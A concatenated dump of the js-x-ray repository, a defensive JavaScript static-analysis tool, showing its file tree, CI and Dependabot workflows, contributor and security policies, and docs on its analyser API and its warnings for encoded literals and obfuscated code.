├── .all-contributorsrc ├── .changeset └── config.json ├── .editorconfig ├── .github ├── dependabot.yml └── workflows │ ├── changesets.yml │ ├── codeql.yml │ ├── estree-ast-utils.yml │ ├── node.js.yml │ ├── scorecard.yml │ ├── sec-literal.yml │ └── ts-source-parser.yml ├── .gitignore ├── .npmrc ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── SECURITY.md ├── docs ├── api │ ├── AstAnalyser.md │ └── EntryFilesAnalyser.md ├── encoded-literal.md ├── obfuscated-code.md ├── parsing-error.md ├── shady-link.md ├── short-identifiers.md ├── suspicious-file.md ├── suspicious-literal.md ├── unsafe-import.md ├── unsafe-regex.md ├── unsafe-stmt.md └── weak-crypto.md ├── eslint.config.mjs ├── examples ├── event-stream.js ├── forbes-skimmer.js ├── jscrush.js ├── kopiluwak.js ├── modrrnize.js ├── npm-audit.js ├── obfuscate.js ├── rate-map.js └── smith.js ├── index.d.ts ├── index.js ├── package.json ├── src ├── AstAnalyser.js ├── Deobfuscator.js ├── EntryFilesAnalyser.js ├── JsSourceParser.js ├── NodeCounter.js ├── ProbeRunner.js ├── SourceFile.js ├── obfuscators │ ├── freejsobfuscator.js │ ├── jjencode.js │ ├── jsfuck.js │ ├── obfuscator-io.js │ └── trojan-source.js ├── probes │ ├── isArrayExpression.js │ ├── isBinaryExpression.js │ ├── isESMExport.js │ ├── isFetch.js │ ├── isImportDeclaration.js │ ├── isLiteral.js │ ├── isLiteralRegex.js │ ├── isRegexObject.js │ ├── isRequire │ │ ├── RequireCallExpressionWalker.js │ │ └── isRequire.js │ ├── isUnsafeCallee.js │ └── isWeakCrypto.js ├── utils │ ├── exportAssignmentHasRequireLeave.js │ ├── extractNode.js │ ├── index.js │ ├── isNode.js │ ├── isOneLineExpressionExport.js │ ├── isUnsafeCallee.js │ ├── notNullOrUndefined.js │ ├── rootLocation.js │ └── toArrayLocation.js └── warnings.js ├── test ├── AstAnalyser.spec.js ├── Deobfuscator.spec.js ├── EntryFilesAnalyser.spec.js ├── JsSourceParser.spec.js ├── NodeCounter.spec.js ├── ProbeRunner.spec.js ├── fixtures │ ├── FakeSourceParser.js │ ├── entryFiles │ │ ├── deps │ │ │ ├── deepEntry.js │ │ │ ├── default.cjs │ │ │ ├── default.js │ │ │ ├── default.jsx │ │ │ ├── default.mjs │ │ │ ├── default.node │ │ │ ├── dep.cjs │ │ │ ├── dep.jsx │ │ │ ├── dep.mjs │ │ │ ├── dep.node │ │ │ ├── dep1.js │ │ │ ├── dep2.js │ │ │ ├── dep3.js │ │ │ ├── invalidDep.js │ │ │ └── validDep.js │ │ ├── entry.js │ │ ├── entryWithInvalidDep.js │ │ ├── entryWithRequireDepWithExtension.js │ │ ├── entryWithVariousDepExtensions.js │ │ ├── export.js │ │ ├── recursive │ │ │ ├── A.js │ │ │ └── B.js │ │ └── shared.js │ ├── issues │ │ ├── html-comments.js │ │ └── prop-types.min.js │ ├── obfuscated │ │ ├── freejsobfuscator.js │ │ ├── jjencode.js │ │ ├── jsfuck.js │ │ ├── morse.js │ │ ├── notMorse.js │ │ ├── obfuscatorio-hexa.js │ │ └── unsafe-unicode-chars.js │ └── searchRuntimeDependencies │ │ ├── customProbe.js │ │ ├── depName.js │ │ ├── parsingError.js │ │ ├── suspect-string.js │ │ └── suspiciousFile.js ├── issues │ ├── 109-html-comment-parsing.spec.js │ ├── 163-illegalReturnStatement.spec.js │ ├── 170-isOneLineRequire-logicalExpression-CJS-export.spec.js │ ├── 177-wrongUnsafeRequire.spec.js │ ├── 178-path-join-literal-args-is-not-unsafe.spec.js │ ├── 179-UnsafeEvalRequire.spec.js │ ├── 180-logicalexpr-return-this.spec.js │ ├── 283-oneline-require-minified.spec.js │ ├── 295-deobfuscator-function-declaration-id-null.spec.js │ ├── 312-try-finally.spec.js │ └── 59-undefined-depName.spec.js ├── obfuscated.spec.js ├── probes │ ├── fixtures │ │ └── weakCrypto │ │ │ ├── directCallExpression │ │ │ ├── md2.js │ │ │ ├── md4.js │ │ │ ├── md5.js │ │ │ ├── ripemd160.js │ │ │ └── sha1.js │ │ │ └── memberExpression │ │ │ ├── md2.js │ │ │ ├── md4.js │ │ │ ├── md5.js │ │ │ ├── ripemd160.js │ │ │ └── sha1.js │ ├── isArrayExpression.spec.js │ ├── isBinaryExpression.spec.js │ ├── isESMExport.spec.js │ ├── isFetch.spec.js │ ├── isImportDeclaration.spec.js │ ├── isLiteral.spec.js │ ├── isLiteralRegex.spec.js │ ├── isRegexObject.spec.js │ ├── isRequire.spec.js │ ├── isUnsafeCallee.spec.js │ └── isWeakCrypto.spec.js ├── utils │ └── index.js └── warnings.spec.js ├── types ├── api.d.ts └── warnings.d.ts └── workspaces ├── estree-ast-utils ├── LICENSE ├── README.md ├── package.json ├── src │ ├── arrayExpressionToString.js │ ├── concatBinaryExpression.js │ ├── extractLogicalExpression.js │ ├── getCallExpressionArguments.js │ ├── getCallExpressionIdentifier.js │ ├── getMemberExpressionIdentifier.js │ ├── getVariableDeclarationIdentifiers.js │ ├── index.d.ts │ ├── index.js │ ├── isLiteralRegex.js │ └── utils │ │ ├── VariableTracer.d.ts │ │ ├── VariableTracer.js │ │ ├── getSubMemberExpressionSegments.js │ │ ├── index.js │ │ ├── isEvilIdentifierPath.js │ │ └── notNullOrUndefined.js └── test │ ├── VariableTracer │ ├── VariableTracer.spec.js │ ├── assignments.spec.js │ └── cryptoCreateHash.spec.js │ ├── arrayExpressionToString.spec.js │ ├── concatBinaryExpression.spec.js │ ├── extractLogicalExpression.spec.js │ ├── getCallExpressionIdentifier.spec.js │ ├── getMemberExpressionIdentifier.spec.js │ ├── isLiteralRegex.spec.js │ ├── utils.js │ └── utils │ ├── getSubMemberExpressionSegments.spec.js │ ├── isEvilIdentifierPath.spec.js │ └── notNullOrUndefined.spec.js ├── sec-literal ├── LICENSE ├── README.md ├── package.json ├── src │ ├── hex.js │ ├── index.js │ ├── literal.js │ ├── patterns.js │ └── utils.js └── test │ ├── hex.spec.js │ ├── literal.spec.js │ ├── patterns.spec.js │ ├── utils.spec.js │ └── utils │ └── index.js └── ts-source-parser ├── LICENSE ├── README.md ├── index.d.ts ├── index.js ├── package.json ├── src └── TsSourceParser.js └── test └── TsSourceParser.spec.js /.changeset/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://unpkg.com/@changesets/config@3.1.1/schema.json", 3 | "changelog": [ 4 | "@changesets/changelog-github", 5 | { "repo": "nodesecure/js-x-ray" } 6 | ], 7 | "commit": false, 8 | "fixed": [], 9 | "linked": [], 10 | "access": "public", 11 | "baseBranch": "master", 12 | "updateInternalDependencies": "patch", 13 | "ignore": [] 14 | } 15 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # Editor configuration, see https://editorconfig.org 2 | root = true 3 | 4 | [*] 5 | charset = utf-8 6 | indent_style = space 7 | indent_size = 2 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | end_of_line = lf 11 | 12 | [*.md] 13 | max_line_length = off 14 | trim_trailing_whitespace = false 15 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | version: 2 2 | updates: 3 | - package-ecosystem: "npm" 4 | directory: "/" 5 | versioning-strategy: widen 6 | schedule: 7 | interval: "weekly" 8 | groups: 9 | dependencies: 10 | dependency-type: "production" 11 | development-dependencies: 12 | dependency-type: "development" 13 | - package-ecosystem: "github-actions" 14 | directory: "/" 15 | schedule: 16 | interval: "monthly" 17 | groups: 18 | github-actions: 19 | patterns: 20 | - "*" 21 | -------------------------------------------------------------------------------- /.github/workflows/changesets.yml: -------------------------------------------------------------------------------- 1 | name: Changesets 2 | on: 3 | push: 4 | branches: 5 | - master 6 | env: 7 | CI: true 8 | 9 | jobs: 10 | version: 11 | timeout-minutes: 15 12 | runs-on: ubuntu-latest 13 | steps: 14 | - name: Checkout code repository 15 | uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 16 | with: 17 | fetch-depth: 0 18 | 19 | - name: Setup node.js 20 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 21 | with: 22 | node-version: 22 23 | 24 | - name: Install dependencies 25 | run: npm install 26 | 27 | - name: Build monorepo 28 | run: npm run build --if-present 29 | 30 | - name: Update and publish versions 31 | uses: changesets/action@e0145edc7d9d8679003495b11f87bd8ef63c0cba # v1.5.3 32 | with: 33 | version: npm run ci:version 34 | commit: "chore: update versions" 35 | title: "chore: update versions" 36 | publish: npm run ci:publish 37 | env: 38 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 39 | NPM_TOKEN: ${{ secrets.NPM_TOKEN }} 40 | -------------------------------------------------------------------------------- /.github/workflows/codeql.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: ["master"] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: ["master"] 20 | schedule: 21 | - cron: "0 0 * * 1" 22 | 23 | permissions: 24 | contents: read 25 | 26 | jobs: 27 | analyze: 28 | name: Analyze 29 | runs-on: ubuntu-latest 30 | permissions: 31 | actions: read 32 | contents: read 33 | security-events: write 34 | 35 | strategy: 36 | fail-fast: false 37 | matrix: 38 | language: ["javascript"] 39 | # CodeQL supports [ $supported-codeql-languages ] 40 | # Learn more about CodeQL language support at https://aka.ms/codeql-docs/language-support 41 | 42 | steps: 43 | - name: Harden Runner 44 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0 45 | with: 46 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs 47 | 48 | - name: Checkout repository 49 | uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 50 | 51 | # Initializes the CodeQL tools for scanning. 52 | - name: Initialize CodeQL 53 | uses: github/codeql-action/init@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18 54 | with: 55 | languages: ${{ matrix.language }} 56 | # If you wish to specify custom queries, you can do so here or in a config file. 57 | # By default, queries listed here will override any specified in a config file. 58 | # Prefix the list here with "+" to use these queries and those in the config file. 59 | 60 | # Details on CodeQL's query packs refer to : https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs 61 | # queries: security-extended,security-and-quality 62 | 63 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java). 64 | # If this step fails, then you should remove it and run the build manually (see below) 65 | - name: Autobuild 66 | uses: github/codeql-action/autobuild@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18 67 | 68 | # ℹ️ Command-line programs to run using the OS shell. 69 | # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun 70 | 71 | # If the Autobuild fails above, remove it and uncomment the following three lines. 72 | # modify them (or add more) to build your code if your project, please refer to the EXAMPLE below for guidance. 73 | 74 | # - run: | 75 | # echo "Run, Build Application using script" 76 | # ./location_of_script_within_repo/buildscript.sh 77 | 78 | - name: Perform CodeQL Analysis 79 | uses: github/codeql-action/analyze@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18 80 | with: 81 | category: "/language:${{matrix.language}}" -------------------------------------------------------------------------------- /.github/workflows/estree-ast-utils.yml: -------------------------------------------------------------------------------- 1 | # This workflow will do a clean installation of node dependencies, cache/restore them, build the source code and run tests across different versions of node 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-nodejs 3 | 4 | name: Node.js CI 5 | 6 | on: 7 | push: 8 | branches: 9 | - main 10 | paths: 11 | - workspaces/estree-ast-utils/** 12 | pull_request: 13 | paths: 14 | - workspaces/estree-ast-utils/** 15 | 16 | permissions: 17 | contents: read 18 | 19 | jobs: 20 | build: 21 | 22 | runs-on: ubuntu-latest 23 | 24 | strategy: 25 | matrix: 26 | node-version: [20.x, 22.x] 27 | # See supported Node.js release schedule at https://nodejs.org/en/about/releases/ 28 | 29 | steps: 30 | - name: Harden Runner 31 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0 32 | with: 33 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs 34 | 35 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 36 | - name: Use Node.js ${{ matrix.node-version }} 37 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 38 | with: 39 | node-version: ${{ matrix.node-version }} 40 | - run: npm install 41 | - run: npm run test --workspace=workspaces/estree-ast-utils 42 | -------------------------------------------------------------------------------- /.github/workflows/node.js.yml: -------------------------------------------------------------------------------- 1 | name: Node.js CI 2 | 3 | on: 4 | push: 5 | branches: master 6 | pull_request: 7 | 8 | permissions: 9 | contents: read 10 | 11 | jobs: 12 | test: 13 | runs-on: ubuntu-latest 14 | strategy: 15 | matrix: 16 | node-version: [20.x, 22.x] 17 | fail-fast: false 18 | steps: 19 | - name: Harden Runner 20 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0 21 | with: 22 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs 23 | 24 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 25 | - name: Use Node.js ${{ matrix.node-version }} 26 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 27 | with: 28 | node-version: ${{ matrix.node-version }} 29 | - name: Install dependencies 30 | run: npm install 31 | - name: Run tests 32 | run: npm run test 33 | - name: Send coverage report to Codecov 34 | uses: codecov/codecov-action@18283e04ce6e62d37312384ff67231eb8fd56d24 # v4.0.0-beta.3 35 | automerge: 36 | if: > 37 | github.event_name == 'pull_request' && github.event.pull_request.user.login == 'dependabot[bot]' 38 | needs: 39 | - test 40 | runs-on: ubuntu-latest 41 | permissions: 42 | contents: write 43 | pull-requests: write 44 | steps: 45 | - name: Merge Dependabot PR 46 | uses: fastify/github-action-merge-dependabot@e820d631adb1d8ab16c3b93e5afe713450884a4a # v3.11.1 47 | with: 48 | github-token: ${{ secrets.GITHUB_TOKEN }} 49 | nsci: 50 | runs-on: ubuntu-latest 51 | strategy: 52 | matrix: 53 | node-version: [20.x, 22.x] 54 | fail-fast: false 55 | steps: 56 | - name: Harden Runner 57 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0 58 | with: 59 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs 60 | 61 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 62 | - name: Use Node.js ${{ matrix.node-version }} 63 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 64 | with: 65 | node-version: ${{ matrix.node-version }} 66 | - name: Install dependencies 67 | run: npm install 68 | - uses: NodeSecure/ci-action@177c57fe32c75cafabe87f6e4515d277cc37ae6c # v1.4.1 69 | with: 70 | warnings: warning 71 | vulnerabilities: off 72 | -------------------------------------------------------------------------------- /.github/workflows/scorecard.yml: -------------------------------------------------------------------------------- 1 | # This workflow uses actions that are not certified by GitHub. They are provided 2 | # by a third-party and are governed by separate terms of service, privacy 3 | # policy, and support documentation. 4 | 5 | name: Scorecard supply-chain security 6 | on: 7 | # For Branch-Protection check. Only the default branch is supported. See 8 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#branch-protection 9 | branch_protection_rule: 10 | # To guarantee Maintained check is occasionally updated. See 11 | # https://github.com/ossf/scorecard/blob/main/docs/checks.md#maintained 12 | schedule: 13 | - cron: '37 6 * * 2' 14 | push: 15 | branches: [ "master" ] 16 | 17 | # Declare default permissions as read only. 18 | permissions: read-all 19 | 20 | jobs: 21 | analysis: 22 | name: Scorecard analysis 23 | runs-on: ubuntu-latest 24 | permissions: 25 | # Needed to upload the results to code-scanning dashboard. 26 | security-events: write 27 | # Needed to publish results and get a badge (see publish_results below). 28 | id-token: write 29 | # Uncomment the permissions below if installing in a private repository. 30 | # contents: read 31 | # actions: read 32 | 33 | steps: 34 | - name: Harden Runner 35 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0 36 | with: 37 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs 38 | 39 | - name: "Checkout code" 40 | uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 41 | with: 42 | persist-credentials: false 43 | 44 | - name: "Run analysis" 45 | uses: ossf/scorecard-action@05b42c624433fc40578a4040d5cf5e36ddca8cde # v2.4.2 46 | with: 47 | results_file: results.sarif 48 | results_format: sarif 49 | # (Optional) "write" PAT token. Uncomment the `repo_token` line below if: 50 | # - you want to enable the Branch-Protection check on a *public* repository, or 51 | # - you are installing Scorecard on a *private* repository 52 | # To create the PAT, follow the steps in https://github.com/ossf/scorecard-action#authentication-with-pat. 53 | # repo_token: ${{ secrets.SCORECARD_TOKEN }} 54 | 55 | # Public repositories: 56 | # - Publish results to OpenSSF REST API for easy access by consumers 57 | # - Allows the repository to include the Scorecard badge. 58 | # - See https://github.com/ossf/scorecard-action#publishing-results. 59 | # For private repositories: 60 | # - `publish_results` will always be set to `false`, regardless 61 | # of the value entered here. 62 | publish_results: true 63 | 64 | # Upload the results as artifacts (optional). Commenting out will disable uploads of run results in SARIF 65 | # format to the repository Actions tab. 66 | - name: "Upload artifact" 67 | uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 68 | with: 69 | name: SARIF file 70 | path: results.sarif 71 | retention-days: 5 72 | 73 | # Upload the results to GitHub's code scanning dashboard. 74 | - name: "Upload to code-scanning" 75 | uses: github/codeql-action/upload-sarif@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18 76 | with: 77 | sarif_file: results.sarif 78 | -------------------------------------------------------------------------------- /.github/workflows/sec-literal.yml: -------------------------------------------------------------------------------- 1 | name: Node.js CI 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | paths: 8 | - workspaces/sec-literal/** 9 | pull_request: 10 | paths: 11 | - workspaces/sec-literal/** 12 | 13 | jobs: 14 | test: 15 | runs-on: ubuntu-latest 16 | strategy: 17 | matrix: 18 | node-version: [20.x, 22.x] 19 | fail-fast: false 20 | steps: 21 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 22 | - name: Use Node.js ${{ matrix.node-version }} 23 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 24 | with: 25 | node-version: ${{ matrix.node-version }} 26 | - run: npm install 27 | - run: npm run test --workspace=workspaces/sec-literal 28 | -------------------------------------------------------------------------------- /.github/workflows/ts-source-parser.yml: -------------------------------------------------------------------------------- 1 | # This workflow will do a clean installation of node dependencies, cache/restore them, build the source code and run tests across different versions of node 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-nodejs 3 | 4 | name: TsSourceParser CI 5 | 6 | on: 7 | push: 8 | branches: 9 | - main 10 | paths: 11 | - workspaces/ts-source-parser/** 12 | pull_request: 13 | paths: 14 | - workspaces/ts-source-parser/** 15 | 16 | permissions: 17 | contents: read 18 | 19 | jobs: 20 | build: 21 | 22 | runs-on: ubuntu-latest 23 | 24 | strategy: 25 | matrix: 26 | node-version: [20.x, 22.x] 27 | # See supported Node.js release schedule at https://nodejs.org/en/about/releases/ 28 | 29 | steps: 30 | - name: Harden Runner 31 | uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0 32 | with: 33 | egress-policy: audit # TODO: change to 'egress-policy: block' after couple of runs 34 | 35 | - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 36 | - name: Use Node.js ${{ matrix.node-version }} 37 | uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 38 | with: 39 | node-version: ${{ matrix.node-version }} 40 | - run: npm install 41 | - run: npm run test --workspace=workspaces/ts-source-parser 42 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | lerna-debug.log* 8 | 9 | # Diagnostic reports (https://nodejs.org/api/report.html) 10 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json 11 | 12 | # Runtime data 13 | pids 14 | *.pid 15 | *.seed 16 | *.pid.lock 17 | 18 | # Directory for instrumented libs generated by jscoverage/JSCover 19 | lib-cov 20 | 21 | # Coverage directory used by tools like istanbul 22 | coverage 23 | *.lcov 24 | 25 | # nyc test coverage 26 | .nyc_output 27 | 28 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 29 | .grunt 30 | 31 | # Bower dependency directory (https://bower.io/) 32 | bower_components 33 | 34 | # node-waf configuration 35 | .lock-wscript 36 | 37 | # Compiled binary addons (https://nodejs.org/api/addons.html) 38 | build/Release 39 | 40 | # Dependency directories 41 | node_modules/ 42 | jspm_packages/ 43 | 44 | # TypeScript v1 declaration files 45 | typings/ 46 | 47 | # TypeScript cache 48 | *.tsbuildinfo 49 | 50 | # Optional npm cache directory 51 | .npm 52 | 53 | # Optional eslint cache 54 | .eslintcache 55 | 56 | # Microbundle cache 57 | .rpt2_cache/ 58 | .rts2_cache_cjs/ 59 | .rts2_cache_es/ 60 | .rts2_cache_umd/ 61 | 62 | # Optional REPL history 63 | .node_repl_history 64 | 65 | # Output of 'npm pack' 66 | *.tgz 67 | 68 | # Yarn Integrity file 69 | .yarn-integrity 70 | 71 | # dotenv environment variables file 72 | .env 73 | .env.test 74 | 75 | # parcel-bundler cache (https://parceljs.org/) 76 | .cache 77 | 78 | # Next.js build output 79 | .next 80 | 81 | # Nuxt.js build / generate output 82 | .nuxt 83 | dist 84 | 85 | # Gatsby files 86 | .cache/ 87 | # Comment in the public line in if your project uses Gatsby and *not* Next.js 88 | # https://nextjs.org/blog/next-9-1#public-directory-support 89 | # public 90 | 91 | # vuepress build output 92 | .vuepress/dist 93 | 94 | # Serverless directories 95 | .serverless/ 96 | 97 | # FuseBox cache 98 | .fusebox/ 99 | 100 | # DynamoDB Local files 101 | .dynamodb/ 102 | 103 | # TernJS port file 104 | .tern-port 105 | 106 | temp.js 107 | temp/ 108 | .vscode/ 109 | .idea/ 110 | -------------------------------------------------------------------------------- /.npmrc: -------------------------------------------------------------------------------- 1 | package-lock=false 2 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to NodeSecure 2 | 3 | Contributions to NodeSecure include code, documentation, answering user questions, 4 | running the project's infrastructure, and advocating for all types of NodeSecure 5 | users. 6 | 7 | The NodeSecure project welcomes all contributions from anyone willing to work in 8 | good faith with other contributors and the community. No contribution is too 9 | small and all contributions are valued. 10 | 11 | This guide explains the process for contributing to the NodeSecure project's. 12 | 13 | ## [Code of Conduct](https://github.com/NodeSecure/Governance/blob/main/CONTRIBUTING.md) 14 | 15 | The NodeSecure project has a 16 | [Code of Conduct](https://github.com/NodeSecure/Governance/blob/main/CONTRIBUTING.md) 17 | that *all* contributors are expected to follow. This code describes the 18 | *minimum* behavior expectations for all contributors. 19 | 20 | See [details on our policy on Code of Conduct](https://github.com/NodeSecure/Governance/blob/main/COC_POLICY.md). 21 | 22 | 23 | ## Developer's Certificate of Origin 1.1 24 | 25 | By making a contribution to this project, I certify that: 26 | 27 | * (a) The contribution was created in whole or in part by me and I 28 | have the right to submit it under the open source license 29 | indicated in the file; or 30 | 31 | * (b) The contribution is based upon previous work that, to the best 32 | of my knowledge, is covered under an appropriate open source 33 | license and I have the right under that license to submit that 34 | work with modifications, whether created in whole or in part 35 | by me, under the same open source license (unless I am 36 | permitted to submit under a different license), as indicated 37 | in the file; or 38 | 39 | * (c) The contribution was provided directly to me by some other 40 | person who certified (a), (b) or (c) and I have not modified 41 | it. 42 | 43 | * (d) I understand and agree that this project and the contribution 44 | are public and that a record of the contribution (including all 45 | personal information I submit with it, including my sign-off) is 46 | maintained indefinitely and may be redistributed consistent with 47 | this project or the open source license(s) involved. 48 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021-2025 NodeSecure 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Reporting Security Issues 2 | To report a security issue, please [publish a private security advisory](https://github.com/NodeSecure/js-x-ray/security/advisories) with a description of the issue, the steps you took to create the issue, affected versions, and, if known, mitigations for the issue. 3 | 4 | Our vulnerability management team will respond within one week. If the issue is confirmed as a vulnerability, we will open a Security Advisory and acknowledge your contributions as part of it. This project follows a 90 day disclosure timeline. 5 | -------------------------------------------------------------------------------- /docs/api/EntryFilesAnalyser.md: -------------------------------------------------------------------------------- 1 | # EntryFilesAnalyser 2 | 3 | ```js 4 | import { EntryFilesAnalyser } from "@nodesecure/js-x-ray"; 5 | 6 | const efa = new EntryFilesAnalyser(); 7 | 8 | // Either a string path or a WHAWG URL 9 | const entryFiles = [ 10 | "./path/to/file.js" 11 | ]; 12 | 13 | for await (const report of efa.analyse(entryFiles)) { 14 | console.log(report); 15 | } 16 | ``` 17 | 18 | The constructor options is described by the following TS interface 19 | 20 | ```ts 21 | interface EntryFilesAnalyserOptions { 22 | astAnalyzer?: AstAnalyser; 23 | loadExtensions?: (defaults: string[]) => string[]; 24 | rootPath?: string | URL; 25 | ignoreENOENT?: boolean; 26 | } 27 | ``` 28 | 29 | Default files extensions are `.js`, `.cjs`, `.mjs` and `.node` 30 | 31 | ## API 32 | 33 | ```ts 34 | declare class EntryFilesAnalyser { 35 | public astAnalyzer: AstAnalyser; 36 | public allowedExtensions: Set; 37 | public dependencies: DiGraph>; 38 | 39 | constructor(options?: EntryFilesAnalyserOptions); 40 | 41 | /** 42 | * Asynchronously analyze a set of entry files yielding analysis reports. 43 | */ 44 | analyse( 45 | entryFiles: Iterable, 46 | options?: RuntimeFileOptions 47 | ): AsyncGenerator; 48 | } 49 | ``` 50 | 51 | For more informations about `Report` and `ReportOnFile` interfaces please see [AstAnalyser documentation](./AstAnalyser.md) 52 | -------------------------------------------------------------------------------- /docs/encoded-literal.md: -------------------------------------------------------------------------------- 1 | # Encoded literal 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | encoded-literal | `Information` | `sast_warnings.encoded_literal` | ❌ | 6 | 7 | ## Introduction 8 | 9 | JS-X-Ray assert all Literals in the tree and search for **encoded values**. It currently supports `three` types of detection: 10 | - Hexadecimal sequence: `'\x72\x4b\x58\x6e\x75\x65\x38\x3d'` 11 | - Unicode sequence: `\u03B1` 12 | - Base64 encryption: `z0PgB0O=` 13 | 14 | Hexadecimal and Unicode sequence are tested directly on the **raw Literal** provided by meriyah. For base64 detection we use the npm package [is-base64](https://github.com/miguelmota/is-base64). 15 | 16 | Example of a JavaScript implementation: 17 | ```js 18 | const hasHexadecimalSequence = /\\x[a-fA-F0-9]{2}/g.exec(node.raw) !== null; 19 | const hasUnicodeSequence = /\\u[a-fA-F0-9]{4}/g.exec(node.raw) !== null; 20 | const isBase64 = isStringBase64(node.value, { allowEmpty: false }); 21 | ``` 22 | -------------------------------------------------------------------------------- /docs/obfuscated-code.md: -------------------------------------------------------------------------------- 1 | # Obfuscated code 2 | 3 | | Code | Severity | i18n | Experimental | 4 | | --- | --- | --- | :-: | 5 | | obfuscated-code | `Critical` | `sast_warnings.obfuscated_code` | ✔️ | 6 | 7 | ## Introduction 8 | 9 | An **experimental** warning capable of detecting obfuscation and sometimes the tool used. 10 | 11 | JS-X-Ray is capable to detect the following internet tools: 12 | 13 | - [freejsobfuscator](http://www.freejsobfuscator.com/) 14 | - [jjencode](https://utf-8.jp/public/jjencode.html) 15 | - [jsfuck](http://www.jsfuck.com/) 16 | - [obfuscator.io](https://obfuscator.io/) 17 | - morse 18 | - [trojan source](https://trojansource.codes/) 19 | 20 | Example of obfuscated code is in the root `examples` directory. 21 | 22 | ### Technical note 23 | A complete G.Drive document has been written to describe the patterns of obfuscation tools and some way of detecting them: 24 | 25 | - 